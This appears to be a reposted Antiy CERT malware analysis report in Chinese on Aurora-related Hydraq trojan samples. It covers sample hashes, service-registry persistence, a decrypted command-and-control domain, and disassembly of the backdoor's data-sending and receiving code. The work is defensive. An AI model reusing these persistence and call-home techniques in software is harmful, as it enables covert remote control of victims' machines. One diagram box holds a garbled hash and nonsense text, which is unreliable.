2010年2月17日星期三

多家企业网络入侵事件传言的同源木马样本分析

多家企业网络入侵事件传言的同源木马样本分析报告
  ----安天实验室安全研究与应急处理中心(Antiy CERT)
  ----2010-1-26

 目录
 第1章 攻击事件源起
 第2章 攻击采用的漏洞分析
 第3章 攻击样本分析
      3.1    PE可执行样本的本地行为
      3.2    PE可执行样本的网络行为
      3.3    衍生样本RASMON.DLL的功能分析
      3.4    ACELPVC.DLL、VEDIODRIVER.DLL的同源关系确认
      3.5    ACELPVC.DLL、VEDIODRIVER.DLL的功能分析
      3.6    样本使用的域名分析
 第4章 最终分析意见
 第5章 安天的建议与思考
    附录

 

 第1章 攻击事件源起

    根据有关事件传言,2009年12月至2010年1月间,多家国际大型企业网络遭受了入侵攻击,对此,相关报道、媒体、以及网络传言都有不同说法,从相关消息汇总来看,其中相对有依据的说法来自几家国际安全厂商,包括Symantec、Mcafee、TrendMacro等,综合根据各厂商已经发布的分析报告和有关报道,较多的结论是相关企业的工作人员受到针对客户端程序的0 Day漏洞攻击(业内主要认为是IE浏览器相关漏洞,这个漏洞已经被命名为"极光"),并进而被植入了木马。

 第2章 攻击采用的漏洞分析

    根据有关描述,安天认为所捕获到的有关漏洞利用代码与有关资料描述的攻击方法是一致的。攻击方法都是利用被称为极光的IE 0day漏洞,并对有关代码采用了javascript加密变形,在常见的堆喷射技术的利用代码部分进行了变换,使得堆喷射代码只有在javascript运行后才能看到。其中比较特殊的是采用了String.fromCharCode(sss[i]/7)手段对堆喷射代码进行变形成为数字数组形式,使静态检测堆喷射代码检测困难。
    但需要指出的是,脚本加密方法是当前网页木马的常规技术手段,整体来看这个攻击的代码的加密复杂程度有被夸大的倾向,实际上相关加密并不难于分析还原。关于有关漏洞的机理网上已经有较多的材料予以说明,用户可以自行搜索予以了解,并可以参靠本报告附录中的有关链接。


 第3章 攻击样本分析

    安天实验室在此事件过程中并未与相关企业建立直接的联系,相关样本集的主要判定依据是通过使用Mcafee、Symantec所发布资料中对相关样本的命名检索安天样本库的对照命名,并验证有关样本行为基本符合目前相关厂商公开发布文档有关描述。截至到2010年1月26日,安天根据上述病毒对照名称、基因片段关联、行为辅助验证和调用关系,共筛选出关联样本13个进行细粒度分析(其中两个样本直接来自境外反病毒厂商提供),其中3个为PE可执性程序,10个为PE动态链接库。经关联分析确认,3个可执行程序的基本功能逻辑完全一致,最典型行为即:均释放在资源节中部分加密存储的名为Rasmon.dll的动态链接库;而有7个样本原始文件名均为Rasmon.dll,经验证此7个文件基本功能逻辑完全一致,其差异主要是反向连接的外部地址不同等配置差异,且均可加载acelpvc.dll,而acelpvc.dll又进一步加载VedioDriver.dll。因此可以判定3个可执行程序是相关2进制样本的关系逻辑的原点。
    但由于缺少实际场合验证,且与目前公开资料所公布的一些控制域名指向因被2级域名服务商屏蔽发生变化,安天无法确定相关样本就是相关事件中的样本,只能说明相关样本存在较大的同源性关系。

 +---------------------------------+---------------+----------------------------------+-------------+
 |              MD5                |样本原始文件名 |            病毒名                |   文件类型  |
 |---------------------------------|---------------|----------------------------------|-------------|
 |                                 |               |安天: Trojan/Win32.Genome.epoy    |             |
 |1B59487D4DC029D92B61ABD4F69C9923 |30755.malware* |McAfee: Roarur.dr                 |PE可执行程序 |
 |                                 |               |Symantec: Trojan.Hydraq           |             |
 |---------------------------------|---------------|----------------------------------|-------------|
 |                                 |               |安天: Trojan/Win32.Genome.epoy    |             |
 |9F880AC607CBD7CDFFFA609C5883C708 |b.exe*         |McAfee: Roarur.dr                 |PE可执行程序 |
 |                                 |               |Symantec: Trojan.Hydraq           |             |
 |---------------------------------|---------------|----------------------------------|-------------|
 |                                 |               |安天: Trojan/Win32.Genome.epoy    |             |
 |BCBEF5AB2C75C171FEDCCA0A33BCF7F7 |1.bin*         |McAfee: Roarur.dr                 |PE可执行程序 |
 |                                 |               |Symantec: Trojan.Hydraq           |             |
 |---------------------------------|---------------|----------------------------------|-------------|
 |                                 |               |安天: Trojan/Win32.Genome.epoz    |             |
 |32CC9F9DA93DD4E9FD3D203881197CBF |Rasmon.dll     |McAfee: Roarur.dll                |PE动态链接库 |
 |                                 |               |Symantec: Trojan.Hydraq           |             |
 |---------------------------------|---------------|----------------------------------|-------------|
 |                                 |               |安天: Trojan/Win32.Genome.epoz    |             |
 |BBE6FE27D503DA9B1F1C30ADAA40730E |Rasmon.dll     |McAfee: Roarur.dll                |PE动态链接库 |
 |                                 |               |Symantec: Trojan.Hydraq!gen1      |             |
 |---------------------------------|---------------|----------------------------------|-------------|
 |                                 |               |安天: Trojan/Win32.Genome.epoz    |             |
 |0F9C5408335833E72FE73E6166B5A01B |Rasmon.dll     |McAfee: Roarur.dll                |PE动态链接库 |
 |                                 |               |Symantec: Trojan.Hydraq!gen1      |             |
 |---------------------------------|---------------|----------------------------------|-------------|
 |                                 |               |安天: Trojan/Win32.Genome.epoz    |             |
 |2CFCD8C34F22FFB772C99C9293C21BDA |Rasmon.dll     |McAfee: Roarur.dll                |PE动态链接库 |
 |                                 |               |Symantec: Trojan.Hydraq!gen1      |             |
 |---------------------------------|---------------|----------------------------------|-------------|
 |                                 |               |安天: Trojan/Win32.Genome.epow    |             |
 |3A33013A47C5DD8D1B92A4CFDCDA3765 |Rasmon.dll     |McAfee: Roarur.dll                |PE动态链接库 |
 |                                 |               |Symantec: Trojan.Hydraq!gen1      |             |
 |---------------------------------|---------------|----------------------------------|-------------|
 |                                 |               |安天: Trojan/Win32.Genome.epoz    |             |
 |4A069A20B8262B20E7440C8AB9C54E11 |Rasmon.dll     |McAfee: Roarur.dll                |PE动态链接库 |
 |                                 |               |Symantec: Trojan.Hydraq!gen1      |             |
 |---------------------------------|---------------|----------------------------------|-------------|
 |                                 |               |安天: Trojan/Win32.Genome.eqqr    |             |
 |80FC413CF908CD4506C3F790E484822E |Rasmon.dll     |McAfee: Roarur.dll                |PE动态链接库 |
 |                                 |               |Symantec: Trojan.Hydraq!gen1      |             |
 |---------------------------------|---------------|----------------------------------|-------------|
 |                                 |               |安天: Trojan/Win32.Genome.eraf    |             |
 |4A47404FC21FFF4A1BC492F9CD23139C |acelpvc.dll    |McAfee: Roarur.dll                |PE动态链接库 |
 |                                 |               |Symantec: Trojan.Hydraq           |             |
 |---------------------------------|---------------|----------------------------------|-------------|
 |                                 |               |安天: Trojan/Win32.Agent.bcvj[Spy]|             |
 |467EEF090DEB3517F05A48310FCFD4EE |VedioDriver.dll|McAfee: Roarur.dll                |PE动态链接库 |
 |                                 |               |Symantec: Trojan.Hydraq           |             |
 |---------------------------------|---------------|----------------------------------|-------------|
 |                                 |               |安天: Trojan/Win32.Genome.eqgc    |             |
 |BA3545841D8A40ED8493E22C0E70A72C |c_1758.nls*    |McAfee: Generic.dx                |PE动态链接库 |
 |                                 |               |Symantec: Trojan.Hydraq           |             |
 +---------------------------------+---------------+----------------------------------+-------------+

    上述带有*标志的相关程序,由于其没有VERSION信息且并非从现场采集,其现场文件名已不可考。采用的是安天获得该样本时的文件命名,其中30755.malware名字从风格看是采用其他厂商的病毒命名作为文件名。下面是样本来源和衍生关系图谱(关于相关样本的更多细节,可以查看附表一):
    
            +--------------------------------+             +-------------------------------------------------+
            |1B59487D4DC029D92B61ABD4F69C9923|------释放-->|2CFCD8C34F22FFB772C99C9293C21BDA(Rasmon.dll)     |
  +--提取-->|         (30755.malware)        |             +-------------------------------------------------+ 
  |         +--------------------------------+                                  
  |
  |         +--------------------------------+------释放-->+-------------------------------------------------+
  +--提取-->|9F880AC607CBD7CDFFFA609C5883C708|             |0F9C5408335833E72FE73E6166B5A01B(Rasmon.dll)     |
  |         |             (b.exe)            |   /--释放-->+-------------------------------------------------+ 
  |         +--------------------------------+  /
  |                                            /
  |         +--------------------------------+/            +-------------------------------------------------+
  +--提取-->|BCBEF5AB2C75C171FEDCCA0A33BCF7F7|             |32CC9F9DA93DD4E9FD3D203881197CBF(Rasmon.dll)     |
  |         |            (1.bin)             |             |BBE6FE27D503DA9B1F1C30ADAA40730E(Rasmon.dll)     |
  |         +--------------------------------+   /--提取-->|3A33013A47C5DD8D1B92A4CFDCDA3765(Rasmon.dll)     |
  |                                             /          |4A069A20B8262B20E7440C8AB9C54E11(Rasmon.dll)     |
  |                                            /           |80FC413CF908CD4506C3F790E484822E(Rasmon.dll)     |
  |         +--------------------------------+/            +-------------------------------------------------+  
  +---------|安天样本库(检索Mcafee、Symantec |\
            |所发布资料中对应样本的对照命名) | \           +-------------------------------------------------+
            +--------------------------------+  \---提取-->|BA3545841D8A40ED8493E22C0E70A72C(c_1758.nls)     |
                                                           +-------------------------------------------------+ 
 
            +--------------------------------+             +-------------------------------------------------+
            |1B59487sdafasdfa2B61ABD4F69C9923|             |4A47404FC21FFF4A1BC492F9CD23139C(acelpvc.dll)    | 
            |    sadfa  sdfsdaflware)        |------提供-->|467EEF090DEB3517F05A48310FCFD4EE(VedioDriver.dll)|
            +--------------------------------+             +-------------------------------------------------+                 

    根据已经描述的样本间的衍生和调用关系,可以基本描绘出相关攻击和恶意代码样本的整体作用流程和因果关系为:为受害用户通过IE浏览相关攻击页面后,被注入执行PE可执行样本,相关样本运行后创建rasmon.dll文件到%System32%目录下并动态加载,释放批处理文件删除该PE可执行文件。rasmon.dll加载acelpvc.dll,成功加载后acelpvc.dll会继续调用VedioDriver.dll,在rasmon.dll运行后便会尝试连接网络,接受控制。整体逻辑如下图所示:

   +------------------+       
   |      用户        |       
   +--------+---------+        
            |
            |
 用IE浏览带有溢出代码的网站
            |
            |
            Y
   +--------+---------+       
   |      网站        |
   +--------+---------+ 
            |
            |
         溢出成功
            |
            |
            Y
   +--------+---------+           +--------------------+
   |     执行代码    |----生成-->|批处理(用以删除自身)|
   +--------+---------+           +--------------------+ 
            |
            |
      释放并注册服务
            |
            |
            Y
   +--------+---------+        
   |     Rasmon.dll   |      
   +--------+---------+         
            |
            |
           加载
            |
            |
            Y
   +--------+---------+           +-----------------+
   |    acelpvc.dll   |----加载-->| VedioDriver.dll |
   +------------------+           +-----------------+ 
      rasmon.dll: 加载acelpvc.dll,具有后门功能
      acelpvc.dll: 连接指定IP发送数据,加载VedioDriver.dll
      VedioDriver.dll: 远程桌面信息操作功能
    

    由于样本集中的3个可执行文件基本功能逻辑完全一致,且样本中的各rasmon.dll的功能相同,所以下面以BCBEF5AB2C75C171FEDCCA0A33BCF7F7样本为主展开进行综合分析:

3.1 PE可执行样本的本地行为

1、相关PE可执行文件运行后会释放以下文件
   %System32%\Rasmon.dll

2、创建注册表服务项
  HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\RaS(随机四位数)\ImagePath
  值: 字符串: "%SystemRoot%\Sys-k netsvcs."
  描述:设置服务启动路径
  HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\RaS(随机四位数)\ObjectName
  值: 字符串: "LocalSystem"
  描述:设置服务对象名称
  HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\RaS(随机四位数)\Parameters\ServiceDll
  值: 字符串: "c:\windows\system32\rasmon.dll."
  描述:设置服务对应的dll项
  HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\RaS(随机四位数)\Start
  值: DWORD: 2 (0x2)
  描述:设置服务的启动方式为自启动

 
3、开启svchost.exe进程将Rasmon.dll注入到进程中创建一个线程向病毒作者地址发送数据,使控制者可以对被感染的用户进行远程控制的相关操作。

3.2 PE可执行样本的网络行为

1、协议:TCP

2、主动连接远程443端口发送数据并等待回复

3、当前域名解析后IP地址已经被相关免费2级域名服务商指向:127.0.0.2,已经不具有分析价值。

4、描述:连接到该域名等待接收病毒作者发送的控制指令

3.3 衍生样本Rasmon.dll的功能分析

    病毒运行后开启6个线程,分别对文件数据进行操作,允许远程攻击者进行监测、窃取等操作。
    远程攻击者可以对受控系统做如下操作:
 1、检查进程和服务的状态、控制和关闭进程与服务。
 2、创建、修改和删除注册表项与键值。
 3、读、写、执行、复制、删除等文件操作。
 4、重启和关闭计算机系统。
 5、收集受控系统信息,如:IP地址、计算机名、操作系统版本、内存大小等。
 6、清除系统事件日志。

    病毒的衍生文件rasmon.dll创建文件%temp%\1.tmp,关键API:CreateFileA:

 +-----------------------------------------------------------------------------------------------+
 | 10007024   .  6A 00         push 0                                   ; /hTemplateFile = NULL  |
 | 10007026   .  90            nop                                      ; |                      |
 | 10007027   .  6A 00         push 0                                   ; |Attributes = 0        |
 | 10007029   .  90            nop                                      ; |                      |
 | 1000702A   .  6A 02         push 2                                   ; |Mode = CREATE_ALWAYS  |
 | 1000702C   .  90            nop                                      ; |                      |
 | 1000702D   .  6A 00         push 0                                   ; |pSecurity = NULL      |
 | 1000702F   .  90            nop                                      ; |                      |
 | 10007030   .  6A 00         push 0                                   ; |ShareMode = 0         |
 | 10007032   .  90            nop                                      ; |                      |
 | 10007033   .  68 00000040   push 40000000                            ; |Access = GENERIC_WRITE|
 | 10007038   .  90            nop                                      ; |                      |
 | 10007039   .  8D5424 4C     lea edx,dword ptr ss:[esp+4C]            ; |                      |
 | 1000703D   .  90            nop                                      ; |                      |
 | 1000703E   .  52            push edx                                 ; |FileName              |
 | 1000703F   .  90            nop                                      ; |                      |
 | 10007040   .  FF15 2CD10010 call dword ptr ds:[<&KERNEL32.CreateFile>; \CreateFileA           |       
 + ----------------------------------------------------------------------------------------------+

    并检测是否存在%system32%\acelpvc.dll,如果存在则加载,下面为代码片段,加载API:LoadLibraryA:

 +--------------------------------------------------------------------------------------------------+
 | 100062AF   .  68 70340110   push Rasmon.10013470                     ; /FileName = "acelpvc.dll" |
 | 100062B4   .  90            nop                                      ; |                         |
 | 100062B5   .  894C24 18     mov dword ptr ss:[esp+18],ecx            ; |                         |
 | 100062B9   .  90            nop                                      ; |                         |
 | 100062BA   .  FF15 90D10010 call dword ptr ds:[<&KERNEL32.LoadLibrar>; \LoadLibraryA             |
 + -------------------------------------------------------------------------------------------------+

    EntryMain()入口,调用acelpvc.dll文件的EntryMain模块:

 +---------------------------------------------------------------------------+
 | 10005017   .  FFD0          call eax ;调用acelpvc.dll文件的EntryMain模块 |   
 + --------------------------------------------------------------------------+

    由acelpvc.dll导入%system32%\VedioDriver.dll。调用%system32%\drivers\etc\networks文件中的信息。
    尝试下载远程文件到本地并重命名为mdm.exe并执行(地址已失效) 。
    攻击者可以利用VedioDriver.dll相关功能模块对受控系统进行监视用户界面活动。

    下面是向外发送数据的代码片段:

 +-----------------------------------------------------------------------------------+
 | 1000138E   .  6A 00         push 0                                   ; /Flags = 0 |
 | 10001391   .  8BCB          mov ecx,ebx                              ; |          |
 | 10001394   .  2BCE          sub ecx,esi                              ; |          |
 | 10001397   .  51            push ecx                                 ; |DataSize  |
 | 10001399   .  8D142E        lea edx,dword ptr ds:[esi+ebp]           ; |          |
 | 1000139D   .  52            push edx                                 ; |Data      |
 | 1000139F   .  57            push edi                                 ; |Socket    |
 | 100013A1   .  FF15 58D00010 call dword ptr ds:[<&WS2_32.#19>]        ; \send      |
 | 堆栈:                                                                            |
 | 0006F0B4  00000134  Socket = 134                                                  | 
 | 0006F0B8  0006F1FC  Data = 0006F1FC                                               |
 | 0006F0BC  00000014  DataSize = 14 (20.)                                           |
 | 0006F0C0  00000000  Flags = 0                                                     | 
 + ----------------------------------------------------------------------------------+

    数据格式如下:
    +00 DWORD MajorCode
   +04 DWORD MinorCode
        +08 DWORD SubCode
        +0C DWORD ExtraSize
        +10 WORD  ExtraChecksum
        +12 BYTE  ExtraKey
        +13 BYTE  Padding

    接收14字节数据(已失效),如接收失败则删除临时目录下的1.tmp,下面为相关代码:

 +--------------------------------------------------------------------------------------------+
 | 10009A9B   .  57            push edi                                 ; /Flags              |
 | 10009A9C   .  90            nop                                      ; |                   |
 | 10009A9D   .  6A 14         push 14                                  ; |BufSize = 14 (20.) |
 | 10009A9F   .  90            nop                                      ; |                   |
 | 10009AA0   .  8D4C24 1C     lea ecx,dword ptr ss:[esp+1C]            ; |                   |
 | 10009AA4   .  90            nop                                      ; |                   |
 | 10009AA5   .  51            push ecx                                 ; |Buffer             |
 | 10009AA6   .  90            nop                                      ; |                   |
 | 10009AA7   .  56            push esi                                 ; |Socket             |
 | 10009AA8   .  90            nop                                      ; |                   |
 | 10009AA9   .  FF15 5CD00010 call dword ptr ds:[<&WS2_32.#16>]        ; \recv               |
 | 堆栈:                                                                                     |
 | 0006F1D8  00000052  Socket = 52                                                            |
 | 0006F1DC  0006F1FC  Buffer = 0006F1FC                                                      |
 | 0006F1E0  00000014  BufSize = 14 (20.)                                                     |
 | 0006F1E4  00000000  Flags = 0                                                              |
 + -------------------------------------------------------------------------------------------+

    尝试连接360.homeunix.com, 该域名已经被相关免费2级域名服务商被指向:127.0.0.2

 +-------------------------------------------------------------------------------------------+
 | 10002A58   .  68 40300110   push Rasmon.10013040               ;  ASCII "192.168.5.164"   |
 | 10002A5D   .  90            nop                                                           |
 | 10002A5E   .  E8 C1570000   call Rasmon.10008224                                          |
 |                                                                                           |
 | 解密后的地址:                                                                            |
 | 33 36 30 2E 68 6F 6D 65 75 6E 69 78 2E 63 6F 6D | 360.homeunix.com                        |
 |                                                                                           |
 + ------------------------------------------------------------------------------------------+

3.4 acelpvc.dll、VedioDriver.dll的同源关系确认

    相关国外厂商在命名中对acelpvc.dll、VedioDriver.dll与可执行主程序与Rasmon.dll采用了同一命名,这是一种以事件归一性为准的命名方法,实际上acelpvc.dll、VedioDriver.dll与其他样本明显不具有代码同源性,经acelpvc.dll与VedioDriver.dll分析确认发现,这一个VNC型后门。
    VNC(Virtual Network Computing)是由Olivetti & Oracle实验室开发的开源远程管理软件,后此实验室被AT&T收购,2002年AT&T终止了项目更新。由于该项目遵循 GPL协议,因此后续衍生出了RealVNC、TightVNC、UltraVNC、Vine Viewer等多个版本。
    VNC拥有较大的用户基数,其Server端运行后有可控托盘图标,因此并不是一个后门程序。但由于其开放源码,2000年已经发现有通过修改功能代码、屏蔽掉托盘图标的后门,之后利用VNC源码进行改造的后门呈现出家族化趋势。2003年3月8日被安天捕获,并引发业内广泛关注的口令蠕虫(Worm/Win32.Dvlodr)也正是以此为后门。
    样本中VedioDriver.dll包含(auroraVNC)编译路径,如下图。

 +------------------------------------------------------------------------------+
 |00001660h: 07 00 00 00 66 3A 5C 41 75 72 6F 72 61 56 4E 43 ; ....f:\AuroraVNC |
 |00001670h: 5C 56 65 64 69 6F 44 72 69 76 65 72 5C 52 65 6C ; \VedioDriver\Rel |
 |00001680h: 65 61 73 65 5C 56 65 64 69 6F 44 72 69 76 65 72 ; ease\VedioDriver |
 |00001690h: 2E 70 64 62 00 00 00 00 00 00 00 00 00 00 00 00 ; .pdb............ |
 |000016a0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................ |                                                 
 + -----------------------------------------------------------------------------+

    由http://www.realvnc.com/下载VNC程序,其中文件wm_hooks.dll与acelpvc.dll文件逻辑有一定相似性。

    1. Wm_hooks.dll与acelpvc.dll的功能相同或代码相似处很多,下面是以入口地址、加载DLL和消息弹窗来进行比较的结果是除了编译后的细小地址上的差别外,在核心结构与功能上是一致的。 
  
  下面是Wm_hooks.dll代码片段:

 +--------------------------------------------------------------------------------------------------+
 | 10001FE1  |.  68 68720010   PUSH wm_hooks.10007268                   ; /flsalloc                 |
 | 10001FE6  |.  57            PUSH EDI                                 ; |hModule                  |
 | 10001FE7  |.  FFD6          CALL ESI                                 ; \GetProcAddress           |
 | 10001FE9  |.  68 5C720010   PUSH wm_hooks.1000725C                   ; /flsgetvalue              |
 | ...                                                                                              |
 | 10002010  |.  833D A0990010>CMP DWORD PTR DS:[100099A0],0            ;  相似代码处               |
 |  ...                                                                                             |
 | 10002037  |.  C705 9C990010>MOV DWORD PTR DS:[1000999C],wm_hooks.100>;  入口地址                 |
 | 10002041  |.  A3 A8990010   MOV DWORD PTR DS:[100099A8],EAX                                      |
 | 10002046  |>  68 411E0010   PUSH wm_hooks.10001E41                   ;  入口地址                 |
 | 1000204B  |.  FF15 9C990010 CALL DWORD PTR DS:[1000999C]             ;  wm_hooks.10001D97        |
 |  ...                                                                                             |
 | 10002071  |.  56            PUSH ESI                                 ; /pValue                   |
 | 10002072  |.  FF35 54900010 PUSH DWORD PTR DS:[10009054]             ; |TlsIndex = 3             |
 | 10002078  |.  FF15 A4990010 CALL DWORD PTR DS:[100099A4]             ; \TlsSetValue              |
 | ...                                                                                              |
 | 1000208C  |.  FF15 00700010 CALL DWORD PTR DS:[<&KERNEL32.GetCurrent>; [GetCurrentThreadId       |
 | ...                                                                                              |
 | 10004CAA  |.  68 38790010   PUSH wm_hooks.10007938                   ; /user32.dll               |
 | 10004CAF  |.  FF15 CC700010 CALL DWORD PTR DS:[<&KERNEL32.LoadLibrar>; \LoadLibraryA             |
 | ...                                                                                              |
 | 10004CBF  |.  8B35 30700010 MOV ESI,DWORD PTR DS:[<&KERNEL32.GetProc>; kernel32.GetProcAddress   |
 | 10004CC5  |.  68 2C790010   PUSH wm_hooks.1000792C                   ; /messageboxa              |
 | 10004CCA  |.  57            PUSH EDI                                 ; |hModule                  |
 | ...                                                                                              |
 | 10004CD6  |.  68 1C790010   PUSH wm_hooks.1000791C                   ; /getactivewindow          |
 | 10004CDB  |.  57            PUSH EDI                                 ; |hModule                  |
 | 10004CDC  |.  FFD6          CALL ESI                                 ; \GetProcAddress           |
 | 10004CDE  |.  68 08790010   PUSH wm_hooks.10007908                   ; /getlastactivepopup       |
 | ...                                                                                              |
 | 10004CF9  |.  68 EC780010   PUSH wm_hooks.100078EC                   ; /getuserobjectinformationa|
 | 10004CFE  |.  57            PUSH EDI                                 ; |hModule                  |
 | 10004CFF  |.  FFD6          CALL ESI                                 ; \GetProcAddress           |
 | ...                                                                                              |
 | 10004D0A  |.  68 D4780010   PUSH wm_hooks.100078D4                   ; /getprocesswindowstation  |
 | 10004D0F  |.  57            PUSH EDI                                 ; |hModule                  |
 | 10004D10  |.  FFD6          CALL ESI                                 ; \GetProcAddress           |
 | 10004D12  |.  A3 889C0010   MOV DWORD PTR DS:[10009C88],EAX          ;  相似代码处               |
 + -------------------------------------------------------------------------------------------------+

    下面是acelpvc.dll相似代码片段:

 +-----------------------------------------------------------------------------------------------------------------+
 | 10018EBA  |.  68 C8DE0210   push acelpvc.1002DEC8                    ; /ProcNameOrOrdinal = "FlsAlloc"          |
 | 10018EBF  |.  57            push edi                                 ; |hModule                                 |
 | 10018EC0  |.  FFD6          call esi                                 ; \GetProcAddress                          |
 | 10018EC2  |.  68 BCDE0210   push acelpvc.1002DEBC                    ; /ProcNameOrOrdinal = "FlsGetValue"       |
 |...                                                                                                              |
 | 10018F10  |.  C705 A47B0310>mov dword ptr ds:[10037BA4],acelpvc.1001>;  入口地址                                |
 | 10018F1A  |.  A3 B07B0310   mov dword ptr ds:[10037BB0],eax                                                     |
 | 10018F1F  |>  68 1A8D0110   push acelpvc.10018D1A                    ;  入口地址                                |
 | 10018F24  |.  FF15 A47B0310 call dword ptr ds:[10037BA4]             ;  acelpvc.10018C70                        |
 |...                                                                                                              |
 | 10018F4A  |.  56            push esi                                 ; /pValue                                  |
 | 10018F4B  |.  FF35 D4520310 push dword ptr ds:[100352D4]             ; |TlsIndex = 3                            |
 | 10018F51  |.  FF15 AC7B0310 call dword ptr ds:[10037BAC]             ; \TlsSetValue                             |
 | ...                                                                                                             |
 | 10018F65  |.  FF15 88D10210 call dword ptr ds:[1002D188]             ; [GetCurrentThreadId                      |
 | ...                                                                                                             |
 | 1001CAE2  |.  68 DCDA0210   push acelpvc.1002DADC           ; /FileName = "user32.dll"                          |
 | 1001CAE7  |.  FF15 78D00210 call dword ptr ds:[1002D078]    ; \LoadLibraryA                                     |
 | ...                                                                                                             |
 | 1001CAF7  |.  8B35 74D00210 mov esi,dword ptr ds:[1002D074]  ;  kernel32.GetProcAddress                         |
 | 1001CAFD  |.  68 CCE50210   push acelpvc.1002E5CC            ; /ProcNameOrOrdinal = "MessageBoxA"               |
 | ...                                                                                                             |
 | 1001CB0E  |.  68 BCE50210   push acelpvc.1002E5BC            ; /ProcNameOrOrdinal = "GetActiveWindow"           |
 | 1001CB13  |.  57            push edi                         ; |hModule                                         |
 | 1001CB14  |.  FFD6          call esi                         ; \GetProcAddress                                  |
 | 1001CB16  |.  68 A8E50210   push acelpvc.1002E5A8            ; /ProcNameOrOrdinal = "GetLastActivePopup"        |
 | ...                                                                                                             |
 | 1001CB31  |.  68 8CE50210   push acelpvc.1002E58C            ; /ProcNameOrOrdinal = "GetUserObjectInformationA" |
 | 1001CB36  |.  57            push edi                         ; |hModule                                         |
 | 1001CB37  |.  FFD6          call esi                         ; \GetProcAddress                                  |
 | ...                                                                                                             |
 | 1001CB42  |.  68 74E50210   push acelpvc.1002E574            ; /ProcNameOrOrdinal = "GetProcessWindowStation"   |
 | 1001CB47  |.  57            push edi                         ; |hModule                                         |
 | 1001CB48  |.  FFD6          call esi                         ; \GetProcAddress                                  |
 + ----------------------------------------------------------------------------------------------------------------+

2. Wm_hooks.dll与acelpvc.dll中都调用了大量的相同的PE动态链接库与函数,这里列举这两个DLL都引用.Net Framework中的mscoree.dll和CorExitProcess函数为例来进行说明。下面是Wm_hooks.dll调用.NET Framework相关组件文件及函数代码片段:

 +------------------------------------------------------------------------------------------------------------------+
 | 10001BF0  /$  68 14720010   PUSH wm_hooks.10007214                   ; /mscoree.dll                              |
 | 10001BF5  |.  FF15 34700010 CALL DWORD PTR DS:[<&KERNEL32.GetModuleH>; \GetModuleHandleA                         |
 | 10001BFB  |.  85C0          TEST EAX,EAX                             ; 都是调用.NET Framework相关组件文件和函数  |
 | 10001BFD  |.  74 16         JE SHORT wm_hooks.10001C15                                                           |
 | 10001BFF  |.  68 04720010   PUSH wm_hooks.10007204                   ; /corexitprocess                           |
 | 10001C04  |.  50            PUSH EAX                                 ; |hModule                                  |
 | 10001C05  |.  FF15 30700010 CALL DWORD PTR DS:[<&KERNEL32.GetProcAdd>; \GetProcAddress                           |
 | 10001C0B  |.  85C0          TEST EAX,EAX                                                                         |
 | 10001C0D  |.  74 06         JE SHORT wm_hooks.10001C15                                                           |
 | 10001C0F  |.  FF7424 04     PUSH DWORD PTR SS:[ESP+4]                                                            |
 | 10001C13  |.  FFD0          CALL EAX                                                                             |
 | 10001C15  |>  FF7424 04     PUSH DWORD PTR SS:[ESP+4]                ; /ExitCode                                 |
 | 10001C19  \.  FF15 2C700010 CALL DWORD PTR DS:[<&KERNEL32.ExitProces>; \ExitProcess                              |
 + -----------------------------------------------------------------------------------------------------------------+

    下面为acelpvc.dll调用与Wm_hooks.dll相同的DLl及函数代码片段:

 +--------------------------------------------------------------------------------------------------+
 | 10017593  /$  68 FCDB0210   push acelpvc.1002DBFC         ; /pModule = "mscoree.dll"             |
 | 10017598  |.  FF15 3CD10210 call dword ptr ds:[1002D13C]  ; \GetModuleHandleA                    |
 | 1001759E  |.  85C0          test eax,eax                                                         |
 | 100175A0  |.  74 16         je short acelpvc.100175B8                                            |
 | 100175A2  |.  68 ECDB0210   push acelpvc.1002DBEC        ; /ProcNameOrOrdinal = "CorExitProcess" |
 | 100175A7  |.  50            push eax                     ; |hModule                              |
 | 100175A8  |.  FF15 74D00210 call dword ptr ds:[1002D074] ; \GetProcAddress                       |
 | 100175AE  |.  85C0          test eax,eax                                                         |
 | 100175B0  |.  74 06         je short acelpvc.100175B8                                            |
 | 100175B2  |.  FF7424 04     push dword ptr ss:[esp+4]                                            |
 | 100175B6  |.  FFD0          call eax                                                             |
 | 100175B8  |>  FF7424 04     push dword ptr ss:[esp+4]   ; /ExitCode                              |
 | 100175BC  \.  FF15 5CD10210 call dword ptr ds:[1002D15C] ; \ExitProcess                          |
 + -------------------------------------------------------------------------------------------------+

     VedioDriver.dll编译路径中有AuroraVNC,其与VNC具有一定的关联性:

 +------------------------------------------------------------------------------+
 |00001660h: 07 00 00 00 66 3A 5C 41 75 72 6F 72 61 56 4E 43 ; ....f:\AuroraVNC |
 |00001670h: 5C 56 65 64 69 6F 44 72 69 76 65 72 5C 52 65 6C ; \VedioDriver\Rel |
 |00001680h: 65 61 73 65 5C 56 65 64 69 6F 44 72 69 76 65 72 ; ease\VedioDriver |
 |00001690h: 2E 70 64 62 00 00 00 00 00 00 00 00 00 00 00 00 ; .pdb............ |
 |000016a0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................ |  
 + -----------------------------------------------------------------------------+

    由此相关分析可得出:acelpvc.dll与VNC文件中的Wm_hooks.dll有部分代码功能相同,但并未完全具有VNC的所有功能。


3.acelpvc.dll的逆向代码功能与VNC功能代码有相同之处。下面为VNC中的源码片段为例进行说明:VNCHooks.cpp全部代码链接为:http://www.iteria.fr/public/UVNCServer/winvnc/vnchooks/VNCHooks.cpp ,其中截取查找的窗口类名这部分源代码,如下所示:
 +--------------------------------------------------------------------+
 | // Routine to send an UpdateRect message to WinVNC                 |
 | inline void SendUpdateRect(SHORT x, SHORT y, SHORT x2, SHORT y2)   |
 | {                                                                  |
 |      WPARAM vwParam;                                               |
 |      LPARAM vlParam;                                               |
 |                                                                    |
 |      vwParam = MAKELONG(x, y);                                     |
 |      vlParam = MAKELONG(x2, y2);                                   |
 |                                                                    |
 |      // Send the update to WinVNC                                  |
 |      PostThreadMessage(                                            |
 |              vnc_thread_id,                                        |
 |              UpdateRectMessage,                                    |
 |              vwParam,                                              |
 |              vlParam                                               |
 |              );                                                    |
 |      HWND hWndRemote=FindWindow("WinVNC desktop sink", "WinVNC");  |
 |      if (hWndRemote==NULL) UnSetHooks(vnc_thread_id);              |
 | }                                                                  |
 + -------------------------------------------------------------------+

    下面为acelpvc.dll注册窗口类创建窗口的逆向代码部分。与上面的源码比较,功能一致,显都有"WinVNC desktop sink"。

